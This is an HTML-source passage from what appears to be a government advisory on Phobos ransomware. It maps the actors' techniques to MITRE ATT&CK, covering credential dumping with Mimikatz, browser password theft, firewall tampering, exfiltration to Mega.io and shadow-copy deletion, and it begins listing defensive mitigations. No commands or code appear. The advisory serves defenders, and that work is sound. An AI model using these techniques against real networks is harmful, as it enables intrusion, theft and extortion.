  1183. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1184. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1185. &lt;/tr&gt;
  1186. &lt;/thead&gt;
  1187. &lt;tbody&gt;
  1188. &lt;tr&gt;
  1189. &lt;td&gt;Valid Accounts&lt;/td&gt;
  1190. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;&lt;/td&gt;
  1191. &lt;td&gt;Following successful RDP authentication, Phobos actors search for IP addresses and pair them with their associated computer to create a victim profile.&lt;/td&gt;
  1192. &lt;/tr&gt;
  1193. &lt;tr&gt;
  1194. &lt;td&gt;External Remote Services&lt;/td&gt;
  1195. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;&lt;/td&gt;
  1196. &lt;td&gt;Phobos actors may leverage external-facing remote services to initially access and/or persist within a network.&lt;/td&gt;
  1197. &lt;/tr&gt;
  1198. &lt;tr&gt;
  1199. &lt;td&gt;Phishing: Spearphishing Attachment&lt;/td&gt;
  1200. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1566/001/" title="Phishing: Spearphishing Attachment"&gt;T1566.001&lt;/a&gt;&lt;/td&gt;
  1201. &lt;td&gt;Phobos actors used a spoofed email attachment to execute attack.&lt;/td&gt;
  1202. &lt;/tr&gt;
  1203. &lt;/tbody&gt;
  1204. &lt;/table&gt;
  1205. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1206. &lt;caption&gt;&lt;em&gt;Table 13: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Execution&lt;/em&gt;&lt;/caption&gt;
  1207. &lt;thead&gt;
  1208. &lt;tr&gt;
  1209. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1210. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1211. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1212. &lt;/tr&gt;
  1213. &lt;/thead&gt;
  1214. &lt;tbody&gt;
  1215. &lt;tr&gt;
  1216. &lt;td&gt;Windows Management Instrumentation&lt;/td&gt;
  1217. &lt;td&gt;&lt;a href="http://attack.mitre.org/versions/v14/techniques/T1047/" title="Windows Management Instrumentation"&gt;T1047&lt;/a&gt;&lt;/td&gt;
  1218. &lt;td&gt;Phobos actors used Windows Management Instrumentation command-line utility (WMIC) to prevent victims from recovering files.&lt;/td&gt;
  1219. &lt;/tr&gt;
  1220. &lt;tr&gt;
  1221. &lt;td&gt;Windows Command Shell&lt;/td&gt;
  1222. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/003/" title="Windows Command Shell"&gt;T1059.003&lt;/a&gt;&lt;/td&gt;
  1223. &lt;td&gt;Phobos actors can use the previous commands to perform commands with windows shell functions.&lt;/td&gt;
  1224. &lt;/tr&gt;
  1225. &lt;tr&gt;
  1226. &lt;td&gt;Native API&lt;/td&gt;
  1227. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1106/" title="Native API"&gt;T1106&lt;/a&gt;&lt;/td&gt;
  1228. &lt;td&gt;Phobos actors used open source tools to enumerate the active directory.&lt;/td&gt;
  1229. &lt;/tr&gt;
  1230. &lt;tr&gt;
  1231. &lt;td&gt;Malicious File&lt;/td&gt;
  1232. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1204/002/" title="Malicious File"&gt;T1204.002&lt;/a&gt;&lt;/td&gt;
  1233. &lt;td&gt;Phobos actors attached a malicious email attachment to deliver ransomware.&lt;/td&gt;
  1234. &lt;/tr&gt;
  1235. &lt;/tbody&gt;
  1236. &lt;/table&gt;
  1237. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1238. &lt;caption&gt;&lt;em&gt;Table 14: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Persistence&lt;/em&gt;&lt;/caption&gt;
  1239. &lt;thead&gt;
  1240. &lt;tr&gt;
  1241. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1242. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1243. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1244. &lt;/tr&gt;
  1245. &lt;/thead&gt;
  1246. &lt;tbody&gt;
  1247. &lt;tr&gt;
  1248. &lt;td&gt;Registry Run Keys / Startup Folder&lt;/td&gt;
  1249. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1547/001/" title="Registry Run Keys / Startup Folder"&gt;T1547.001&lt;/a&gt;&lt;/td&gt;
  1250. &lt;td&gt;Phobos ransomware operates using the &lt;code&gt;Exec.exe&lt;/code&gt; control mechanism and has been observed using Windows Startup folders and Run Registry Keys.&lt;/td&gt;
  1251. &lt;/tr&gt;
  1252. &lt;/tbody&gt;
  1253. &lt;/table&gt;
  1254. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1255. &lt;caption&gt;&lt;em&gt;Table 15: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Privilege Escalation&lt;/em&gt;&lt;/caption&gt;
  1256. &lt;thead&gt;
  1257. &lt;tr&gt;
  1258. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1259. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1260. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1261. &lt;/tr&gt;
  1262. &lt;/thead&gt;
  1263. &lt;tbody&gt;
  1264. &lt;tr&gt;
  1265. &lt;td&gt;Privilege Escalation&lt;/td&gt;
  1266. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0004/" title="Privilege Escalation"&gt;TA0004&lt;/a&gt;&lt;/td&gt;
  1267. &lt;td&gt;Phobos actors use run commands like &lt;code&gt;1saas.exe&lt;/code&gt;, or &lt;code&gt;cmd.exe&lt;/code&gt; to deploy additional Phobos payloads with escalated privileges.&lt;/td&gt;
  1268. &lt;/tr&gt;
  1269. &lt;tr&gt;
  1270. &lt;td&gt;Portable Executable Injection&lt;/td&gt;
  1271. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1055/002/" title="Portable Executable Injection"&gt;T1055.002&lt;/a&gt;&lt;/td&gt;
  1272. &lt;td&gt;Phobos actors use Smokeloader to inject code into running processes to identify an entry point through enabling a &lt;code&gt;VirtualAlloc&lt;/code&gt; or &lt;code&gt;VirtualProtect&lt;/code&gt; process.&lt;/td&gt;
  1273. &lt;/tr&gt;
  1274. &lt;tr&gt;
  1275. &lt;td&gt;Asynchronous Procedure Call&lt;/td&gt;
  1276. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1055/004/" title="Asynchronous Procedure Call"&gt;T1055.004&lt;/a&gt;&lt;/td&gt;
  1277. &lt;td&gt;During phase two of execution, Phobos ransomware sends a call back from an identified entry point.&lt;/td&gt;
  1278. &lt;/tr&gt;
  1279. &lt;tr&gt;
  1280. &lt;td&gt;Access Token Manipulation: Token Impersonation/Theft&lt;/td&gt;
  1281. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1134/001/" title="Access Token Manipulation: Token Impersonation/Theft"&gt;T1134.001&lt;/a&gt;&lt;/td&gt;
  1282. &lt;td&gt;Phobos actors can use Windows API functions to steal tokens.&lt;/td&gt;
  1283. &lt;/tr&gt;
  1284. &lt;tr&gt;
  1285. &lt;td&gt;Create Process with Token&lt;/td&gt;
  1286. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1134/002/" title="Create Process with Token"&gt;T1134.002&lt;/a&gt;&lt;/td&gt;
  1287. &lt;td&gt;Phobos actors used Windows API functions to steal tokens, bypass access controls and create new processes.&lt;/td&gt;
  1288. &lt;/tr&gt;
  1289. &lt;/tbody&gt;
  1290. &lt;/table&gt;
  1291. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1292. &lt;caption&gt;&lt;em&gt;Table 16: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Defense Evasion&lt;/em&gt;&lt;/caption&gt;
  1293. &lt;thead&gt;
  1294. &lt;tr&gt;
  1295. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1296. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1297. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1298. &lt;/tr&gt;
  1299. &lt;/thead&gt;
  1300. &lt;tbody&gt;
  1301. &lt;tr&gt;
  1302. &lt;td&gt;Software Packing&lt;/td&gt;
  1303. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1027/002/" title="Software Packing"&gt;T1027.002&lt;/a&gt;&lt;/td&gt;
  1304. &lt;td&gt;Phobos actors deployed a portable executable (PE) to conceal code.&lt;/td&gt;
  1305. &lt;/tr&gt;
  1306. &lt;tr&gt;
  1307. &lt;td&gt;Embedded Payloads&lt;/td&gt;
  1308. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1027/009/" title="Embedded Payloads"&gt;T1027.009&lt;/a&gt;&lt;/td&gt;
  1309. &lt;td&gt;Phobos actors embedded the ransomware as a hidden payload by using Smokeloader.&lt;/td&gt;
  1310. &lt;/tr&gt;
  1311. &lt;tr&gt;
  1312. &lt;td&gt;Deobfuscate/Decode Files or Information&lt;/td&gt;
  1313. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1140/" title="Deobfuscate/Decode Files or Information"&gt;T1140&lt;/a&gt;&lt;/td&gt;
  1314. &lt;td&gt;During phase two of execution, Phobos actors’ malware stores and decrypts information.&lt;/td&gt;
  1315. &lt;/tr&gt;
  1316. &lt;tr&gt;
  1317. &lt;td&gt;System Binary Proxy Execution: Mshta&lt;/td&gt;
  1318. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1218/005/" title="System Binary Proxy Execution: Mshta"&gt;T1218.005&lt;/a&gt;&lt;/td&gt;
  1319. &lt;td&gt;Phobos actors used Mshta to execute malicious files.&lt;/td&gt;
  1320. &lt;/tr&gt;
  1321. &lt;tr&gt;
  1322. &lt;td&gt;Impair Defenses&lt;/td&gt;
  1323. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/" title="Impair Defenses"&gt;T1562&lt;/a&gt;&lt;/td&gt;
  1324. &lt;td&gt;Phobos actors can use Universal Virus Sniffer, Process Hacker, and PowerTool to evade detection.&lt;/td&gt;
  1325. &lt;/tr&gt;
  1326. &lt;tr&gt;
  1327. &lt;td&gt;Disable or Modify System Firewall&lt;/td&gt;
  1328. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/004/" title="Disable or Modify System Firewall"&gt;T1562.004&lt;/a&gt;&lt;/td&gt;
  1329. &lt;td&gt;Phobos ransomware has been observed bypassing organizational network defense protocols through modifying system firewall configurations.&lt;/td&gt;
  1330. &lt;/tr&gt;
  1331. &lt;/tbody&gt;
  1332. &lt;/table&gt;
  1333. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1334. &lt;caption&gt;&lt;em&gt;Table 17: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Credential Access&lt;/em&gt;&lt;/caption&gt;
  1335. &lt;thead&gt;
  1336. &lt;tr&gt;
  1337. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1338. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1339. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1340. &lt;/tr&gt;
  1341. &lt;/thead&gt;
  1342. &lt;tbody&gt;
  1343. &lt;tr&gt;
  1344. &lt;td&gt;OS Credential Dumping: LSASS Memory&lt;/td&gt;
  1345. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/001/" title="OS Credential Dumping: LSASS Memory"&gt;T1003.001&lt;/a&gt;&lt;/td&gt;
  1346. &lt;td&gt;Phobos actors used Mimikatz to export credentials.&lt;/td&gt;
  1347. &lt;/tr&gt;
  1348. &lt;tr&gt;
  1349. &lt;td&gt;OS Credential Dumping: Cached Domain Credentials&lt;/td&gt;
  1350. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/005/" title="OS Credential Dumping: Cached Domain Credentials"&gt;T1003.005&lt;/a&gt;&lt;/td&gt;
  1351. &lt;td&gt;Phobos actors use cached domain credentials to authenticate as the domain administrator in the event a domain controller is unavailable.&lt;/td&gt;
  1352. &lt;/tr&gt;
  1353. &lt;tr&gt;
  1354. &lt;td&gt;Brute Force&lt;/td&gt;
  1355. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/" title="Brute Force"&gt;T1110&lt;/a&gt;&lt;/td&gt;
  1356. &lt;td&gt;Phobos actors may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.&lt;/td&gt;
  1357. &lt;/tr&gt;
  1358. &lt;tr&gt;
  1359. &lt;td&gt;Credentials from Password Stores&lt;/td&gt;
  1360. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/" title="Credentials from Password Stores"&gt;T1555&lt;/a&gt;&lt;/td&gt;
  1361. &lt;td&gt;Phobos actors may search for common password storage locations to obtain user credentials.&lt;/td&gt;
  1362. &lt;/tr&gt;
  1363. &lt;tr&gt;
  1364. &lt;td&gt;Credentials from Password Stores: Credentials from Web Browsers&lt;/td&gt;
  1365. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/003/" title="Credentials from Password Stores: Credentials from Web Browsers"&gt;T1555.003&lt;/a&gt;&lt;/td&gt;
  1366. &lt;td&gt;
  1367. &lt;p&gt;Phobos actors use Nirsoft or Passview to export client credentials from web browsers.&lt;/p&gt;
  1368. &lt;p&gt;Phobos actors search for stored credentials in browser clients once they gain initial network access.&lt;/p&gt;
  1369. &lt;/td&gt;
  1370. &lt;/tr&gt;
  1371. &lt;tr&gt;
  1372. &lt;td&gt;Credentials from Password Stores: Password Managers&lt;/td&gt;
  1373. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/005/" title="Credentials from Password Stores: Password Managers"&gt;T1555.005&lt;/a&gt;&lt;/td&gt;
  1374. &lt;td&gt;Phobos actors targeted victim’s databases for password management software.&lt;/td&gt;
  1375. &lt;/tr&gt;
  1376. &lt;/tbody&gt;
  1377. &lt;/table&gt;
  1378. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1379. &lt;caption&gt;&lt;em&gt;Table 18: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Discovery&lt;/em&gt;&lt;/caption&gt;
  1380. &lt;thead&gt;
  1381. &lt;tr&gt;
  1382. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1383. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1384. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1385. &lt;/tr&gt;
  1386. &lt;/thead&gt;
  1387. &lt;tbody&gt;
  1388. &lt;tr&gt;
  1389. &lt;td&gt;Process Discovery&lt;/td&gt;
  1390. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1057/" title="Process Discovery"&gt;T1057&lt;/a&gt;&lt;/td&gt;
  1391. &lt;td&gt;Phobos ransomware is able to run processes.&lt;/td&gt;
  1392. &lt;/tr&gt;
  1393. &lt;tr&gt;
  1394. &lt;td&gt;System Information Discovery&lt;/td&gt;
  1395. &lt;td&gt;&lt;a href="http://attack.mitre.org/versions/v14/techniques/T1082/" title="System Information Discovery"&gt;T1082&lt;/a&gt;&lt;/td&gt;
  1396. &lt;td&gt;Phobos ransomware is able to enumerate connected storage devices.&lt;/td&gt;
  1397. &lt;/tr&gt;
  1398. &lt;tr&gt;
  1399. &lt;td&gt;File and Directory Discovery&lt;/td&gt;
  1400. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;&lt;/td&gt;
  1401. &lt;td&gt;Phobos ransomware can encrypt user files.&lt;/td&gt;
  1402. &lt;/tr&gt;
  1403. &lt;tr&gt;
  1404. &lt;td&gt;Domain Account&lt;/td&gt;
  1405. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/002/" title="Domain Account"&gt;T1087.002&lt;/a&gt;&lt;/td&gt;
  1406. &lt;td&gt;Phobos threat actor used Bloodhound and Sharphound to enumerate the active directory.&lt;/td&gt;
  1407. &lt;/tr&gt;
  1408. &lt;/tbody&gt;
  1409. &lt;/table&gt;
  1410. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1411. &lt;caption&gt;&lt;em&gt;Table 19: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Collection&lt;/em&gt;&lt;/caption&gt;
  1412. &lt;thead&gt;
  1413. &lt;tr&gt;
  1414. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1415. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1416. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1417. &lt;/tr&gt;
  1418. &lt;/thead&gt;
  1419. &lt;tbody&gt;
  1420. &lt;tr&gt;
  1421. &lt;td&gt;Archive Collected Data&lt;/td&gt;
  1422. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/" title="Archive Collected Data"&gt;T1560&lt;/a&gt;&lt;/td&gt;
  1423. &lt;td&gt;Phobos threat actors archive data as either a &lt;code&gt;.rar&lt;/code&gt; or &lt;code&gt;.zip&lt;/code&gt; file to be later exfiltrated.&lt;/td&gt;
  1424. &lt;/tr&gt;
  1425. &lt;/tbody&gt;
  1426. &lt;/table&gt;
  1427. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1428. &lt;caption&gt;&lt;em&gt;Table 20: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Command and Control&lt;/em&gt;&lt;/caption&gt;
  1429. &lt;thead&gt;
  1430. &lt;tr&gt;
  1431. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1432. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1433. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1434. &lt;/tr&gt;
  1435. &lt;/thead&gt;
  1436. &lt;tbody&gt;
  1437. &lt;tr&gt;
  1438. &lt;td&gt;Data Obfuscation: Protocol Impersonation&lt;/td&gt;
  1439. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1001/003/" title="Data Obfuscation: Protocol Impersonation"&gt;T1001.003&lt;/a&gt;&lt;/td&gt;
  1440. &lt;td&gt;Phobos actors used a stealth process to obfuscate C2 activity.&lt;/td&gt;
  1441. &lt;/tr&gt;
  1442. &lt;tr&gt;
  1443. &lt;td&gt;File Transfer Protocols&lt;/td&gt;
  1444. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1071/002/" title="File Transfer Protocols"&gt;T1071.002&lt;/a&gt;&lt;/td&gt;
  1445. &lt;td&gt;Phobos threat actors used &lt;code&gt;WinSCP&lt;/code&gt; to connect the victim’s network to an FTP server.&lt;/td&gt;
  1446. &lt;/tr&gt;
  1447. &lt;tr&gt;
  1448. &lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
  1449. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1105/" title="Ingress Tool Transfer"&gt;T1105&lt;/a&gt;&lt;/td&gt;
  1450. &lt;td&gt;Phobos ransomware extracts its final payload from the hashed file.&lt;/td&gt;
  1451. &lt;/tr&gt;
  1452. &lt;tr&gt;
  1453. &lt;td&gt;Remote Access Software&lt;/td&gt;
  1454. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1219/" title="Remote Access Software"&gt;T1219&lt;/a&gt;&lt;/td&gt;
  1455. &lt;td&gt;Phobos threat actors used remote access tools to establish a remote connection within victim’s network.&lt;/td&gt;
  1456. &lt;/tr&gt;
  1457. &lt;/tbody&gt;
  1458. &lt;/table&gt;
  1459. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1460. &lt;caption&gt;&lt;em&gt;Table 21: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Exfiltration&lt;/em&gt;&lt;/caption&gt;
  1461. &lt;thead&gt;
  1462. &lt;tr&gt;
  1463. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1464. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1465. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1466. &lt;/tr&gt;
  1467. &lt;/thead&gt;
  1468. &lt;tbody&gt;
  1469. &lt;tr&gt;
  1470. &lt;td&gt;Exfiltration&lt;/td&gt;
  1471. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0010/" title="Exfiltration"&gt;TA0010&lt;/a&gt;&lt;/td&gt;
  1472. &lt;td&gt;Phobos threat actors may use exfiltration techniques to steal data from your network.&lt;/td&gt;
  1473. &lt;/tr&gt;
  1474. &lt;tr&gt;
  1475. &lt;td&gt;Exfiltration Over Alternative Protocol&lt;/td&gt;
  1476. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;&lt;/td&gt;
  1477. &lt;td&gt;Phobos threat actors use software to export files to a cloud.&lt;/td&gt;
  1478. &lt;/tr&gt;
  1479. &lt;tr&gt;
  1480. &lt;td&gt;Exfiltration to Cloud Storage&lt;/td&gt;
  1481. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1567/002/" title="Exfiltration to Cloud Storage"&gt;T1567.002&lt;/a&gt;&lt;/td&gt;
  1482. &lt;td&gt;Phobos threat actors use &lt;code&gt;Mega.io&lt;/code&gt; to exfiltrate data to a cloud storage service rather than over their primary command and control channel.&lt;/td&gt;
  1483. &lt;/tr&gt;
  1484. &lt;/tbody&gt;
  1485. &lt;/table&gt;
  1486. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1487. &lt;caption&gt;Table 22: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Impact&lt;/caption&gt;
  1488. &lt;thead&gt;
  1489. &lt;tr&gt;
  1490. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1491. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1492. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1493. &lt;/tr&gt;
  1494. &lt;/thead&gt;
  1495. &lt;tbody&gt;
  1496. &lt;tr&gt;
  1497. &lt;td&gt;Data Encrypted for Impact&lt;/td&gt;
  1498. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1486/"&gt;T1486&lt;/a&gt;&lt;/td&gt;
  1499. &lt;td&gt;Phobos threat actors use the &lt;code&gt;Phobos.exe&lt;/code&gt; command to encrypt data on all logical drives connected to the network.&lt;/td&gt;
  1500. &lt;/tr&gt;
  1501. &lt;tr&gt;
  1502. &lt;td&gt;Inhibit System Recovery&lt;/td&gt;
  1503. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490/"&gt;T1490&lt;/a&gt;&lt;/td&gt;
  1504. &lt;td&gt;Phobos threat actors may delete or remove backups to include volume shadow copies from Windows environments to prevent victim data recovery response efforts.&lt;/td&gt;
  1505. &lt;/tr&gt;
  1506. &lt;tr&gt;
  1507. &lt;td&gt;Financial Theft&lt;/td&gt;
  1508. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1657/"&gt;T1657&lt;/a&gt;&lt;/td&gt;
  1509. &lt;td&gt;Phobos threat actor’s extort victims for financial gain.&lt;/td&gt;
  1510. &lt;/tr&gt;
  1511. &lt;/tbody&gt;
  1512. &lt;/table&gt;
  1513. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  1514. &lt;p&gt;&lt;strong&gt;Secure by Design and Default Mitigations:&lt;/strong&gt;&lt;/p&gt;
  1515. &lt;p&gt;These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and MS-ISAC recommend that software manufacturers incorporate secure by design and default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the secure posture for their customers.&lt;/p&gt;
  1516. &lt;p&gt;For more information on secure by design, see CISA’s &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;Secure by Design&lt;/a&gt; webpage and &lt;a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software"&gt;joint guide&lt;/a&gt;.&lt;/p&gt;
  1517. &lt;p&gt;The FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture against actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  1518. &lt;ul&gt;
  1519. &lt;li&gt;&lt;strong&gt;Secure remote access software by&lt;/strong&gt; applying recommendations from the joint &lt;a href="https://www.cisa.gov/resources-tools/resources/guide-securing-remote-access-software" title="Guide to Securing Remote Access Software"&gt;Guide to Securing Remote Access Software&lt;/a&gt;.&lt;/li&gt;
  1520. &lt;li&gt;&lt;strong&gt;Implement application controls &lt;/strong&gt;to manage and control execution of software, including allowlisting remote access programs.
  1521. &lt;ul&gt;
  1522. &lt;li&gt;Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlist solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.&lt;/li&gt;
  1523. &lt;/ul&gt;
  1524. &lt;/li&gt;
  1525. &lt;li&gt;&lt;strong&gt;Implement log collection best practices&lt;/strong&gt; and use intrusion detection systems to defend against threat actors manipulating firewall configurations through early detection [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#LogCollection2T" title="Log Collection (2.T)"&gt;CPG 2.T&lt;/a&gt;].
  1526. &lt;ul&gt;
  1527. &lt;li&gt;Implement &lt;a href="https://www.cisecurity.org/insights/spotlight/edr-spotlight-module" title="EDR Spotlight Module"&gt;EDR solutions&lt;/a&gt; to disrupt threat actor memory allocation techniques.&lt;/li&gt;
  1528. &lt;/ul&gt;
  1529. &lt;/li&gt;
  1530. &lt;li&gt;&lt;strong&gt;Strictly limit the use of RDP and other remote desktop services&lt;/strong&gt;. If RDP is necessary, rigorously apply best practices, for example [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#NoExploitableServicesontheInternet2W" title="No Exploitable Services on the Internet (2.W)"&gt;CPG 2.W&lt;/a&gt;]:
  1531. &lt;ul&gt;
  1532. &lt;li&gt;Audit the network for systems using RDP.&lt;/li&gt;
